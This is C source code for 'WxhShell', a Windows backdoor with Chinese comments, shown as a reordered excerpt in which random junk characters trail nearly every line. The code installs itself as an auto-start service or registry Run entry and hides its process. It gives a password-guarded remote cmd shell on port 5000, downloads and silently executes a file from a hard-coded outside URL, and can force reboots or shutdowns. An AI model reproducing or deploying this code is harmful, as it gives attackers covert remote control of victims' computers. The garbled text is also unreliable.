    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 39~fP)  
    else { ]]d@jj  
    closesocket(wsh); %@pTEhpF  
    ExitThread(0); g08=D$P  
    } -t*C-C'"|  
    break; @}fnR(fS  
    } LGod"8~U  
  // 获取shell #o yvsS8  
  case 's': { bdcuO)3  
    CmdShell(wsh); 4S"K%2'O  
    closesocket(wsh); uc7Y8iO  
    ExitThread(0); 6;(Slkv  
    break; \DGm[/P  
  } vv%Di.V  
  // 退出 deu+ i  
  case 'x': { =4Ex' %%(U  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @uH7GW}$g  
    CloseIt(wsh); Y`( I};MO  
    break; dHOz;4_  
    } Ii[rM/sG  
  // 离开 ?0_i{BvN  
  case 'q': { tbOe,-U-@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ( !Ml2  
    closesocket(wsh); P<2yCovn`  
    WSACleanup(); xsAF<:S\  
    exit(1); F1%' zsv  
    break; 7g&_`(  
        } OQ[>s(`*{  
  } I;mtyS  
  } 4] DmgOru%  
p1Lx\   
  // 提示信息 EQ=Enw1[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \=5CNe  
} 2d1'!B zDA  
  } "aa6W  
1bj75/i<6  
  return; OWq~BZ{  
} rx^pGVyg  
jq =-Y  
// shell模块句柄 AHZ6  
int CmdShell(SOCKET sock) Q g"{F},4  
{ s0nihX1Z-  
STARTUPINFO si; ?TzN?\   
ZeroMemory(&si,sizeof(si)); $X\BO&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ke 'bH  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C2Y&qX,  
PROCESS_INFORMATION ProcessInfo; Wm3H6o*  
char cmdline[]="cmd"; z,] fR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A #jiCIc  
  return 0; $ B$=,^)3  
} XU SfOf(  
<F=j6U7   
// 自身启动模式 z*9/"M  
int StartFromService(void) K7_)!=DcX  
{ y>~Ke UC  
typedef struct h+*  
{ 4|:{apH  
  DWORD ExitStatus; 8-SVgo(  
  DWORD PebBaseAddress; h+$_:](PC  
  DWORD AffinityMask; %F}`;>C3  
  DWORD BasePriority; ,#"AWQ  
  ULONG UniqueProcessId; JBWiTUk  
  ULONG InheritedFromUniqueProcessId; _k j51=  
}   PROCESS_BASIC_INFORMATION; LI nN-b#  
vys*=48g  
PROCNTQSIP NtQueryInformationProcess; <!w-op2@ir  
Dri1A%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jN*A"m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (U7%Z<  
h_A}i2/{  
  HANDLE             hProcess; LRbevpZ,  
  PROCESS_BASIC_INFORMATION pbi; p>!r[v'  
a .] !  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z;n}*^U  
  if(NULL == hInst ) return 0; O-&n5  
pP".?|n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `*N0 Lbl]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qKSM*k~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r!x^P=f,MJ  
@nZFw.  
  if (!NtQueryInformationProcess) return 0; cF/FretoO  
^|sQkufo  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'Y&yt"cs  
  if(!hProcess) return 0; OI`Lb\8pP  
@9c^{x\4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ok*:;G@  
L g%cVSz/C  
  CloseHandle(hProcess); H%sQVE7m  
^lQ-w|7(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B2,! 0Re  
if(hProcess==NULL) return 0; b(XhwkGVq  
GN~:rdd  
HMODULE hMod; H}}t )H  
char procName[255]; G! 87F/  
unsigned long cbNeeded; I O6i  
s*!2oj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jf$t  
".@SQgyb0  
  CloseHandle(hProcess); WrD20Q$9Q  
{)%B?75~  
if(strstr(procName,"services")) return 1; // 以服务启动 c9'#G>&h~^  
/Fv1Z=:r  
  return 0; // 注册表启动 zBoU;d%p>  
} 3~ZtAgih%  
:X$&g sT/,  
// 主模块 4XKg3l1  
int StartWxhshell(LPSTR lpCmdLine) <~Y4JMr"  
{ YobIbpo  
  SOCKET wsl; 5jsnE )  
BOOL val=TRUE; Gu%`__   
  int port=0; =ecv;uu2  
  struct sockaddr_in door; _zpn+XVdQ  
IC{>q3  
  if(wscfg.ws_autoins) Install(); 0dgR;Dl(  
Kt^PL&A2  
port=atoi(lpCmdLine); M!I:$DZt  
->j9(76"  
if(port<=0) port=wscfg.ws_port; Lv_6Mf(  
8XY4  
  WSADATA data; Q% dpGI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RL&*.r&  
KlrKGmy,)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N.&K"J  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w1GCjD*y  
  door.sin_family = AF_INET; ;nC+K z:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); J%[K;WjrZJ  
  door.sin_port = htons(port); xpS#l"dr  
c/hml4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kQH!`-n:T  
closesocket(wsl); .<j8>1  
return 1; I5bi^!i  
} pw$I~3OFd  
'l;?P  
  if(listen(wsl,2) == INVALID_SOCKET) { |YlUt~H>  
closesocket(wsl); $[>wJXj3R  
return 1; CId`6W  
} C&;'Pw9H  
  Wxhshell(wsl); F^a D!O ~  
  WSACleanup(); r1=Zoxc=w  
;=n7 Z  
return 0; 9:kb0oBa?l  
8F@6^9C  
} (Ux%7H_d  
n;q7? KW8  
// 以NT服务方式启动 yx}:Sgv%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K]7@%cS  
{ |C(72t?K  
DWORD   status = 0; "qDEI}  
  DWORD   specificError = 0xfffffff; .&[nS<~`  
L?Lp``%bI7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b ;}MA7=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9j,zaGD0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y]n^(V  
  serviceStatus.dwWin32ExitCode     = 0; 4+W}TKw  
  serviceStatus.dwServiceSpecificExitCode = 0; V3`*LU  
  serviceStatus.dwCheckPoint       = 0; "Srp/g]a  
  serviceStatus.dwWaitHint       = 0; N7M^  
)q=1<V44d  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); JRo{z{!O6  
  if (hServiceStatusHandle==0) return; v |i(peA#  
PNKmI  
status = GetLastError(); 5q) Eed  
  if (status!=NO_ERROR) {<]abO  
{ :WxMv~e{U  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )0%<ZVB  
    serviceStatus.dwCheckPoint       = 0; V3m!dp]  
    serviceStatus.dwWaitHint       = 0; V~+Unn  
    serviceStatus.dwWin32ExitCode     = status; kB8l`| I  
    serviceStatus.dwServiceSpecificExitCode = specificError; hm5<_(F!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C )P N  
    return; u_[Zu8  
  } :J<S-d=  
\e=@h!p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P_?1Rwm-45  
  serviceStatus.dwCheckPoint       = 0; [lnN~#(Y  
  serviceStatus.dwWaitHint       = 0; bX9}G#+U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); KcrF=cA  
} o/[NUQSI  
g =%W"v  
// 处理NT服务事件,比如:启动、停止 N2~z&y8.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *i\7dJ Dj  
{ dE^'URBiA  
switch(fdwControl) epwXv|aSZ  
{ b"zq3$6*  
case SERVICE_CONTROL_STOP: 9S<W~# zz  
  serviceStatus.dwWin32ExitCode = 0; D!-zQ`^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; OC [a?#R1  
  serviceStatus.dwCheckPoint   = 0; HKh)T$IZM  
  serviceStatus.dwWaitHint     = 0; pkT a^I  
  { i@p?.%K{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hyBSS,I  
  } ;w+A38N$J  
  return; ;WzT"yW)T  
case SERVICE_CONTROL_PAUSE: `hfwZ*s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <W5F~K ;41  
  break; /R,/hi Kx\  
case SERVICE_CONTROL_CONTINUE: x##Iv|$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ce;9UBkOg2  
  break; 7O{\^Jz1  
case SERVICE_CONTROL_INTERROGATE: 8+!$k!=X  
  break; ` Y ut 1N  
}; p"X\]g^jA>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4dy)g)wM  
} :wF(([&4p!  
}W YY5L8^  
// 标准应用程序主函数 X%gJ, c(4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _I -0[w  
{ H`".L^  
2.x3^/  
// 获取操作系统版本 l9<+4rK2  
OsIsNt=GetOsVer(); `  ^6}Dn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p]>bN  
d82IEhZ#  
  // 从命令行安装 nyDqR#t  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~{N|("nB  
7i'vAOnw^  
  // 下载执行文件 lE`ScYG  
if(wscfg.ws_downexe) { dXOjaS# ~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {6KU.'#iF  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5i#B?+Y  
} \myj Y  
N-NwGD{  
if(!OsIsNt) { )HU?7n.{  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~\Ynih  
HideProc(); &B3kzs  
StartWxhshell(lpCmdLine); .f6_[cS;g  
} SGbo|Xe7:  
else z1"UF4x*  
  if(StartFromService()) 8C YJR/  
  // 以服务方式启动 4o|~KX8Qz  
  StartServiceCtrlDispatcher(DispatchTable); $4L=Dg  
else Q;Oc# u  
  // 普通方式启动 8ZahpB  
  StartWxhshell(lpCmdLine); {1qEN_ERx  
YV2^eGr.  
return 0; 3NJ-.c@(p  
} L72GF5+!!  
kQ:2@SOm  
WUxr@0  
hR?rZUl2M  
=========================================== <fyv^e  
tG{Vn+~/  
36j.is  
QzS{2Y[OQ  
co*5NM^  
5 Fd]3  
" 3;Xs`dk  
X~j A*kmAj  
#include <stdio.h> 7/~"\nN:/  
#include <string.h> iff U}ce  
#include <windows.h> E O}(MXS  
#include <winsock2.h> ^oP]@r"qy  
#include <winsvc.h> @emZwN"m  
#include <urlmon.h> uD5i5,q1Hs  
, <[os  
#pragma comment (lib, "Ws2_32.lib") #VrT)po+  
#pragma comment (lib, "urlmon.lib") %ZxKN;  
pjoI};  
#define MAX_USER   100 // 最大客户端连接数 O_:Q#  
#define BUF_SOCK   200 // sock buffer 3 C[ ;2  
#define KEY_BUFF   255 // 输入 buffer X)|%[aX}q  
o3`Z@-.G  
#define REBOOT     0   // 重启 q!7\`>.2:{  
#define SHUTDOWN   1   // 关机 ?/u&U\P  
x r=f9?%R  
#define DEF_PORT   5000 // 监听端口 *]EcjK%  
A+dY~@*a  
#define REG_LEN     16   // 注册表键长度 )dvOg'it  
#define SVC_LEN     80   // NT服务名长度 x~mXtqg  
%?cPqRHJ ~  
// 从dll定义API "JGaw_o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bhgh ]{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8(+X0}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |g9^]bT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]:f1r8<3p  
Z@*Z@]FC  
// wxhshell配置信息 "q%)we  
struct WSCFG { SnXLjJe  
  int ws_port;         // 监听端口 :_^YEm+A  
  char ws_passstr[REG_LEN]; // 口令 s}A]lY  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]~oM'?&!  
  char ws_regname[REG_LEN]; // 注册表键名 Rp|:$5&nE  
  char ws_svcname[REG_LEN]; // 服务名 "C.$qk]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _%>.t  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R@EFG%|`_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Vt&I[osC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *r_.o;6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Comu c  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i<T`]g  
eFx*lYjA  
}; k{;:KW|  
44]ae~@a  
// default Wxhshell configuration ^a]i&o[c  
struct WSCFG wscfg={DEF_PORT, U]P;X~$!  
    "xuhuanlingzhe", vD*KJ3(c  
    1, [;b9'7j'  
    "Wxhshell", a#{a{>  
    "Wxhshell", ;J _d%  
            "WxhShell Service", jVA xa|S  
    "Wrsky Windows CmdShell Service", <ImeZ'L7  
    "Please Input Your Password: ", qzG'Gz{{qu  
  1, :')<|(Zy  
  "http://www.wrsky.com/wxhshell.exe", NT nn!k  
  "Wxhshell.exe" ZqhINM*Rm  
    }; k82'gJ;MC=  
n2QD*3i  
// 消息定义模块 >SzTZ3!E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '.bMkty#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; II2oV}7?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;S%wPXj&  
char *msg_ws_ext="\n\rExit."; :r6 bw  
char *msg_ws_end="\n\rQuit."; >,y QG+  
char *msg_ws_boot="\n\rReboot..."; ;Rt,"W)  
char *msg_ws_poff="\n\rShutdown..."; k4|YaGhf  
char *msg_ws_down="\n\rSave to "; m:H )b{  
(2{1m#o  
char *msg_ws_err="\n\rErr!"; >!wwXhH(  
char *msg_ws_ok="\n\rOK!"; $L&*0$[]Q  
+yTL  
char ExeFile[MAX_PATH]; 1-,l|K  
int nUser = 0; &A`QPk8n  
HANDLE handles[MAX_USER]; UOwj"#  
int OsIsNt; Y8N&[L[z&  
Z<wg`  
SERVICE_STATUS       serviceStatus; n b{8zo  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; yf$7<gwX  
fL@[B{XMM  
// 函数声明 2{qoWys8[  
int Install(void); aJfW75C  
int Uninstall(void); sI.Ezuw  
int DownloadFile(char *sURL, SOCKET wsh); Q'rG' |  
int Boot(int flag); )h/fr|  
void HideProc(void); >sP;B5S  
int GetOsVer(void); 3}vlj:L  
int Wxhshell(SOCKET wsl); DS^Q0 f  
void TalkWithClient(void *cs); `,|7X]%b  
int CmdShell(SOCKET sock); e]5QqM7  
int StartFromService(void); e5AiIVlv  
int StartWxhshell(LPSTR lpCmdLine); I7}[%(~Sf/  
&2g1Oy~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D]0#A|n F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1\3n   
7+z%O3k'I  
// 数据结构和表定义 +F@9AO>LF  
SERVICE_TABLE_ENTRY DispatchTable[] = $DQMN  
{  g6~uf4;  
{wscfg.ws_svcname, NTServiceMain}, h;Bol  
{NULL, NULL} K 4 >d  
}; ?2i``-|Wa  
s5[ Cr"q7B  
// 自我安装 AKHi$Bk  
int Install(void) s*Fmu7o43  
{ 2yN~[, L  
  char svExeFile[MAX_PATH]; 68D.Li  
  HKEY key; uXp0D$a  
  strcpy(svExeFile,ExeFile); LX3 5Lt  
S2Wxf>b t2  
// 如果是win9x系统,修改注册表设为自启动 m!PN1$9V  
if(!OsIsNt) { @Pa ;h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F Pu,sz8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \:Nbl<9(9  
  RegCloseKey(key); [3\}Ca1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ul:jn]S*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NQOdgp  
  RegCloseKey(key); ^y?? pp<1J  
  return 0; 5ecqJ  
    } uh GL1{  
  } k muF*0Bjk  
} g.veHh|;_  
else { w+JDu_9+A]  
{? 6]_J  
// 如果是NT以上系统,安装为系统服务 K}* s^*X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Bt.WRRpAB  
if (schSCManager!=0) $V@IRBm  
{ DQE.;0ld  
  SC_HANDLE schService = CreateService -m-~  
  ( {5RM)J1  
  schSCManager, -f'z _&KI  
  wscfg.ws_svcname, PsTwJLY   
  wscfg.ws_svcdisp, qEywExdiu  
  SERVICE_ALL_ACCESS, J0{0B=d;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Er%nSH^"  
  SERVICE_AUTO_START, e\)PGjSI  
  SERVICE_ERROR_NORMAL, tW 9vo-{+  
  svExeFile, [aIQ/&Y  
  NULL, 05w_/l+  
  NULL, p^^<BjkQ  
  NULL, R@ihN?k  
  NULL, mH;\z;lyK  
  NULL `i<U;?=0'  
  ); TT>;!nb  
  if (schService!=0) j{nL33T%  
  { )WD<Q x&  
  CloseServiceHandle(schService); &OsJnkY<<  
  CloseServiceHandle(schSCManager); g<tr |n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y>IEB,w  
  strcat(svExeFile,wscfg.ws_svcname); jy6% CSWQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \# #~Tq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); SkS vu}  
  RegCloseKey(key); Id9hC<8$dq  
  return 0; teET nz_L  
    } N 0`)WLW  
  } !x&/M*nBE  
  CloseServiceHandle(schSCManager); g"F vD_  
} QKe=/;  
} T,5]EHea  
{&m^*YN/  
return 1; CGPPo;RjK  
} t}]=5)9<  
*Z<`TB)<X  
// 自我卸载 <&Y7Q[  
int Uninstall(void) Hh,q)(Wo  
{ /wKL"M-%  
  HKEY key; M"1}"ex#  
`cCsJm$V"  
if(!OsIsNt) { bF<FX_}!s!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7]62=p2R  
  RegDeleteValue(key,wscfg.ws_regname); M2{{B ^*$6  
  RegCloseKey(key); &KT*rL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,d$V-~2,  
  RegDeleteValue(key,wscfg.ws_regname); F0qGkMs|f  
  RegCloseKey(key); r 1nl!  
  return 0; 5v6*.e'p  
  } 1d"g $i4e  
} &KmV tj  
} }[\l$sS  
else { }e  s  
UXvUU^k"v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t*iKkV^aE  
if (schSCManager!=0) Jt  ^a  
{ ;3'ta!.c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :H@ Q`g u  
  if (schService!=0) RNiFLD%5  
  { wa5wkuS)ld  
  if(DeleteService(schService)!=0) { -X3yCK?re  
  CloseServiceHandle(schService); `$Z:j;F  
  CloseServiceHandle(schSCManager); C%vR!Az  
  return 0; f,9/Yg_  
  } 0NL~2Qf_4  
  CloseServiceHandle(schService); C|*U)#3:F  
  } s#hIzt  
  CloseServiceHandle(schSCManager); & =)HPzC  
} ]QlgVw,  
} hxZ5EKBy  
B<%cqz@  
return 1; 0Q`Dp;a5&  
} UP'~D]J  
.nl!KzO6g  
// 从指定url下载文件 6j/g/!9c!  
int DownloadFile(char *sURL, SOCKET wsh) xf% _HMKc  
{ uB_8P+h7  
  HRESULT hr; H`d595<=i;  
char seps[]= "/"; @y ] ek/  
char *token; VKqIFM1b  
char *file; #ueWU  
char myURL[MAX_PATH]; oR}cE Sr  
char myFILE[MAX_PATH]; i&=I5$  
V"K-aO&  
strcpy(myURL,sURL); XYj!nx{k,  
  token=strtok(myURL,seps); ])`w_y(>  
  while(token!=NULL) % Ya%R@b}  
  { W8,4LxH  
    file=token; Ve)P/Zz}^  
  token=strtok(NULL,seps); GJS3O;2*  
  } D~P3~^  
hg4d]R,  
GetCurrentDirectory(MAX_PATH,myFILE); tpPP5C{  
strcat(myFILE, "\\"); RUco3fZ   
strcat(myFILE, file); zZp0g^;.?  
  send(wsh,myFILE,strlen(myFILE),0); VokIc&!Uz  
send(wsh,"...",3,0); <;kcy :s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Sqn|  
  if(hr==S_OK) /<C}v~r  
return 0; ut j7"{'k|  
else &YpViC4K.  
return 1; &rs   
{G.W?  
} *@)0TL( 03  
08czP-)OZ  
// 系统电源模块 MD|T4PPz,}  
int Boot(int flag) Z uFk}R"x  
{ ?TWve)U  
  HANDLE hToken; *^ aEUp6&  
  TOKEN_PRIVILEGES tkp; h @AKfE!\~  
)SU\s+"M  
  if(OsIsNt) { hQ7-m.UZw  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J,(@1R]KF:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *yl?M<28  
    tkp.PrivilegeCount = 1; #z6[ 8B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G`D rY;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x%_VzqR`  
if(flag==REBOOT) { %B}<5iO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >^:*x_a9  
  return 0; WoV"&9y  
} Z=ZTSl   
else { pmwVVUEQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f4 k  
  return 0; ZNDn! Sj  
} +}VaQ8ti4  
  } OCW0$V6;D-  
  else { Ah 2*7@U  
if(flag==REBOOT) { /aTW X  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {{6D4M|s  
  return 0; Kd r7 V  
} ;O`ZVB  
else { atiyQuT6Wh  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h*>%ou   
  return 0; /O[<"Wcz  
} \+M6R<Qw  
} o|kiwr}Y  
OI^??joQ  
return 1; ^ YOC HXg  
} PfR|\{(  
2t7P| b~V1  
// win9x进程隐藏模块 g ?.y7!m  
void HideProc(void) ]SC|%B_*  
{ R?t_tmKXC!  
<uYrYqN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4%B0H>  
  if ( hKernel != NULL ) q@Aw]Kh  
  { 6,;dU-A+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `.z"Q%uz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  \OJam<hZ  
    FreeLibrary(hKernel); .} O@<t  
  } )-\C{>  
]-j.\+(*  
return; oBO4a^D  
} 9r. h^  
PZ >(cvX&  
// 获取操作系统版本 `5Bv2 wlIV  
int GetOsVer(void) XL3m#zW&  
{ J Bgq2  
  OSVERSIONINFO winfo; ["fUSQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tVv/G ~(  
  GetVersionEx(&winfo); ))%f"=:wt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U)[LKO1  
  return 1; S,Z~-j  
  else |*/-~5"  
  return 0; C547})  
} t zShds  
:5sjF:@  
// 客户端句柄模块 g#k@R'7E  
int Wxhshell(SOCKET wsl) \ 5.nr*5  
{ )n6,uTlOw  
  SOCKET wsh; u`CHM:<<?  
  struct sockaddr_in client; < z#.J]  
  DWORD myID; z]2MR2W@X  
Oq^t[X'  
  while(nUser<MAX_USER) Z9G4in8  
{ G|o O  
  int nSize=sizeof(client); G} f9:G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O3V.4tp  
  if(wsh==INVALID_SOCKET) return 1; &S=Qu?H  
2`^6``  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gR+P !Eow  
if(handles[nUser]==0) /X]gm\x7s  
  closesocket(wsh); s~QIs  
else /Y=_EOS  
  nUser++; s3Wjhw/  
  } j0=F__H#@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9u)p9)^-.v  
`Ez8!d{MD8  
  return 0; Hu9nJ  
} <0VC`+p<)  
1N_T/I8_F  
// 关闭 socket O{7rIy  
void CloseIt(SOCKET wsh) 7}I';>QH  
{ 6j8\3H~  
closesocket(wsh); e*}*3kw)T  
nUser--; Sp6==(:.  
ExitThread(0); R4X9g\KpAt  
} /d+v4GIB  
|}2/:f#Iz*  
// 客户端请求句柄 2D(sA  
void TalkWithClient(void *cs) >/Gw)K}#E  
{ 7+8 8o:G9  
{Q>4zepN!  
  SOCKET wsh=(SOCKET)cs; >k ==7#P  
  char pwd[SVC_LEN]; cTz@ga;!mI  
  char cmd[KEY_BUFF]; yEMM@5W)8  
char chr[1]; ^*YoNd_kpN  
int i,j; %K+hG=3O  
CIui9XNU  
  while (nUser < MAX_USER) { u -)ED  
2ql)]Skg6  
if(wscfg.ws_passstr) { \!hd|j?&6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -Bq]E,Xf)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q44vI  
  //ZeroMemory(pwd,KEY_BUFF); WJxcJE  
      i=0; u$CN$ynS  
  while(i<SVC_LEN) { cNT !}8h^  
|)v}\-\ #  
  // 设置超时 mU(v9Jpf7  
  fd_set FdRead; xQ';$&  
  struct timeval TimeOut; ]#[4eaCg  
  FD_ZERO(&FdRead); |)xWQ KzA  
  FD_SET(wsh,&FdRead); E2 FnC}#W  
  TimeOut.tv_sec=8; 2 FoLJ  
  TimeOut.tv_usec=0;  _X  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .Tm.M7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l-cBN^^  
p Hx$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3-E-\5I  
  pwd=chr[0]; ~+d{:WY  
  if(chr[0]==0xd || chr[0]==0xa) { ;jaugKf  
  pwd=0; [NJ2rQ/w7  
  break; IhBQ1,&J  
  } sPb}A$'  
  i++; RX%)@e/@  
    } nGwon8&]]  
U.V/JbXX  
  // 如果是非法用户,关闭 socket 3#x1(+c6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m]*a;a'}#  
} Niu |M@  
N p*T[J  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vz#-uw,O:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .%dGSDru  
 Lagk   
while(1) { ;&gk)w6*  
4%zy$,|e  
  ZeroMemory(cmd,KEY_BUFF); Pwj|]0Y@  
S(U9Dlyarg  
      // 自动支持客户端 telnet标准   #>HY+ ;  
  j=0; ~ o2Z5,H  
  while(j<KEY_BUFF) { *iY:R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8(&6*- 7=  
  cmd[j]=chr[0]; yY!)2{F+  
  if(chr[0]==0xa || chr[0]==0xd) { %I9f_5BlT8  
  cmd[j]=0; /_HTW\7,  
  break; `k*;%}X\  
  } `#w#!@s#@  
  j++; 2@?X>,  
    } (,t[`z  
tBfmjxv  
  // 下载文件 "g)bNgGV}  
  if(strstr(cmd,"http://")) { ',!jYh}Uxk  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); OiXO<1'$  
  if(DownloadFile(cmd,wsh)) .gGO+8[N*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mI{Fs|9h  
  else eub}+~_?[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5-ED\-  
  } ;du},>T$n  
  else { /\<x8BJ  
Z*f%R\u  
    switch(cmd[0]) { bcvm]aPu  
  ItvcN  
